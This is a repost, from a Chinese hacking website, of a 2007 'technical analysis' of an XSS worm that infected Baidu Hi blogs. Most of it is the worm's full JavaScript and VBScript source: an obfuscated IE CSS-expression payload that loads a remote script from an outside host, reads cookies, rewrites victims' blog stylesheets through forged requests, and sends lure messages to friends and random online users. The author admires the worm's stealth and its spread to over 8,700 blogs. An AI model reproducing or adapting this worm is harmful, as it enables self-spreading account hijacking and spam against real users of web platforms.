|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| baidu xss蠕虫--XSS WORM技术分析 | |||||
作者:剑心 文章来源:www.loveshell.net 点击数: 更新时间:2007-12-30 ![]() |
|||||
|
window.onerror = killErrors; 后来又增加一个传播函数,不过那个时候他们好象已经开始封了
execScript(unescape('Function%20URLEncoding%28vstrIn%29%0A%20%20%20%20strReturn%20%3D%20%22%22%0A%20%20%20%20For%20aaaa%20%3D%201%20To%20Len%28vstrIn%29%0A%20%20%20%20%20%20%20%20ThisChr%20%3D%20Mid%28vStrIn%2Caaaa%2C1%29%0A%20%20%20%20%20%20%20%20If%20Abs%28Asc%28ThisChr%29%29%20%3C%20%26HFF%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20ThisChr%0A%20%20%20%20%20%20%20%20Else%0A%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20Asc%28ThisChr%29%0A%20%20%20%20%20%20%20%20%20%20%20%20If%20innerCode%20%3C%200%20Then%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20innerCode%20%3D%20innerCode%20+%20%26H10000%0A%20%20%20%20%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20%20%20%20%20%20%20%20%20Hight8%20%3D%20%28innerCode%20%20And%20%26HFF00%29%5C%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20Low8%20%3D%20innerCode%20And%20%26HFF%0A%20%20%20%20%20%20%20%20%20%20%20%20strReturn%20%3D%20strReturn%20%26%20%22%25%22%20%26%20Hex%28Hight8%29%20%26%20%20%22%25%22%20%26%20Hex%28Low8%29%0A%20%20%20%20%20%20%20%20End%20If%0A%20%20%20%20Next%0A%20%20%20%20URLEncoding%20%3D%20strReturn%0AEnd%20Function'),'VBScript'); cookie=''; cookieval=document.cookie; spaceid=spaceurl; myhibaidu="http://hi.baidu.com"+spaceid; xmlhttp=poster(); debug=0; online(); if(spaceid!='/') { if(debug==1) { goteditcss(); document.cookie='xssshell/owned/you!'; } if(cookieval.indexOf('xssshell')==-1) { goteditcss(); document.cookie='xssshell/owned/you!'; } } function makeevilcss(spaceid,editurl,use){ playload="a{evilmask:ex/*exp/**/ression*/pression(execScript(unescape('d%253D%2522doc%2522%252B%2522ument%2522%253B%250D%250Ai%253D%2522function%2520load%2528%2529%257Bvar%2520x%253D%2522%252Bd%252B%2522.createElement%2528%2527SCRIPT%2527%2529%253Bx.src%253D%2527http%253A//www.18688.com/cache/1.js%2527%253Bx.defer%253Dtrue%253B%2522%252Bd%252B%2522.getElementsByTagName%2528%2527HEAD%2527%2529%255B0%255D.appendChild%2528x%2529%257D%253Bfunction%2520inject%2528%2529%257Bwindow.setTimeout%2528%2527load%2528%2529%2527%252C1000%2529%257D%253Bif%2528window.x%2521%253D1%2529%257Bwindow.x%253D1%253Binject%2528%2529%257D%253B%2522%250D%250AexecScript%2528i%2529')))}"; action=myhibaidu+"/commit"; spCssUse=use; s=getmydata(editurl); re = /\<input type=\"hidden\" id=\"ct\" name=\"ct\" value=\"(.*?)\"/i; ct = s.match(re); ct=(ct[1]); re = /\<input type=\"hidden\" id=\"cm\" name=\"cm\" value=\"(.*?)\"/i; cm = s.match(re); cm=(cm[1])/1+1; re = /\<input type=\"hidden\" id=\"spCssID\" name=\"spCssID\" value=\"(.*?)\"/i; spCssID = s.match(re); spCssID=(spCssID[1]); spRefUrl=editurl; re = /\<textarea(.*?)\>([^\x00]*?)\<\/textarea\>/i; spCssText = s.match(re); spCssText=spCssText[2]; spCssText=URLEncoding(spCssText); if(spCssText.indexOf('evilmask')!==-1) { return 1; } else spCssText=spCssText+"\r\n\r\n"+playload; re = /\<input name=\"spCssName\"(.*?)value=\"(.*?)\">/i; spCssName = s.match(re); spCssName=spCssName[2]; re = /\<input name=\"spCssTag\"(.*?)value=\"(.*?)\">/i; spCssTag = s.match(re); spCssTag=spCssTag[2]; postdata="ct="+ct+"&spCssUse=1"+"&spCssColorID=1"+"&spCssLayoutID=-1"+"&spRefURL="+URLEncoding(spRefUrl)+"&spRefURL="+URLEncoding(spRefUrl)+"&cm="+cm+"&spCssID="+spCssID+"&spCssText="+spCssText+"&spCssName="+URLEncoding(spCssName)+"&spCssTag="+URLEncoding(spCssTag); result=postmydata(action,postdata); sendfriendmsg(); count(); hack(); } function goteditcss() { src="http://hi.baidu.com"+spaceid+"/modify/spcrtempl/0"; s=getmydata(src); re = /\<link rel=\"stylesheet\" type=\"text\/css\" href=\"(.*?)\/css\/item\/(.*?)\.css\">/i; r = s.match(re); nowuse=r[2]; makeevilcss(spaceid,"http://hi.baidu.com"+spaceid+"/modify/spcss/"+nowuse+".css/edit",1); return 0; } function poster(){ var request = false; if(window.XMLHttpRequest) { request = new XMLHttpRequest(); if(request.overrideMimeType) { request.overrideMimeType('text/xml'); } } else if(window.ActiveXObject) { var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP']; for(var i=0; i<versions.length; i++) { try { request = new ActiveXObject(versions[i]); } catch(e) {} } } return request; } function postmydata(action,data){ xmlhttp.open("POST", action, false); xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlhttp.send(data); return xmlhttp.responseText; } function getmydata(action){ xmlhttp.open("GET", action, false); xmlhttp.send(); return xmlhttp.responseText; } function killErrors() { return true; } function count() { a=new Image(); a.src='http://img.users.51.la/1563171.asp'; return 0; } function online() { online=new Image(); online.src='http://img.users.51.la/1563833.asp '; return 0; } function hack() { return 0; } function sendfriendmsg(){ myfurl=myhibaidu+"/friends"; s=getmydata(myfurl); evilmsg="哈,节日快乐呀!热烈庆祝2008,心情好好,记得要想我呀!\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n"+myhibaidu; var D=function(A,B){A[A.length]=B;}; re = /(.+)D\(k\,\[([^\]]+?)\]\)(.*)/g; friends = s.match(re); eval(friends[0]); for(i in k) { eval('msgimg'+i+'=new Image();'); eval('msgimg'+i+'.src="http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn="+URLEncoding(k[i][2])+"&co="+URLEncoding(evilmsg)+"&vcodeinput=";'); } } function onlinemsg(){ doit=Math.floor(Math.random() * (600 + 1)); if(doit>500) { evilonlinemsg="哈哈,还记得我不,加个友情连接吧?\r\n\r\n\r\n我的地址是"+myhibaidu; xmlDoc=new ActiveXObject("Microsoft.XMLDOM"); xmlDoc.async=false; xmlDoc.load("http://hi.baidu.com/sys/file/moreonline.xml"); online=xmlDoc.documentElement; users=online.getElementsByTagName("id"); x=Math.floor(Math.random() * (200 + 1)); eval('msgimg'+x+'=new Image();'); eval('msgimg'+x+'.src="http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn="+URLEncoding(users[x].text)+"&co="+URLEncoding(evilonlinemsg)+"&vcodeinput=";'); } } 上面基本就是代码,总体来说还是很有意思的.首先就是漏洞,由茄子宝同学发现的,他人品还真是好呀,那个过滤多一个字符都不行,甚至挪一个位置都是不行,恩,强大,就是上面的playload部分.这个虫子比较特殊的地方是感染ie用户,其他用户无影响,另外就是完全可以隐蔽地传播,因为只是在css加代码并不会有什么明显的地方,唯一的缺陷是有点卡.所以完全可以长时间地存在,感染面不限制于blog,存在css的地方都可以,譬如profile.另外比较强大的一点就是跟真正的虫子一样,不只是被动地等待,选择了在好友发消息引诱别人过来访问自己的blog,利用好奇心可以做到这点.最后还加了个给在线人随机发消息请求加连接的,威力可能更大,因为会创造比较大的基数,这样一感染就是一个blog.到baidu封锁时,这个虫子已经感染了8700多个blog.总体来说还不错,本来想作为元旦的一个贺礼,不过还是提前死掉了,还不错,呵呵.可以看到,在代码和流程里运用了很多系统本身就有的特性,自己挖掘吧. |
|||||
| 文章录入:adminix 责任编辑:admin | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 完整的XSS wrom网站入侵实例 |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |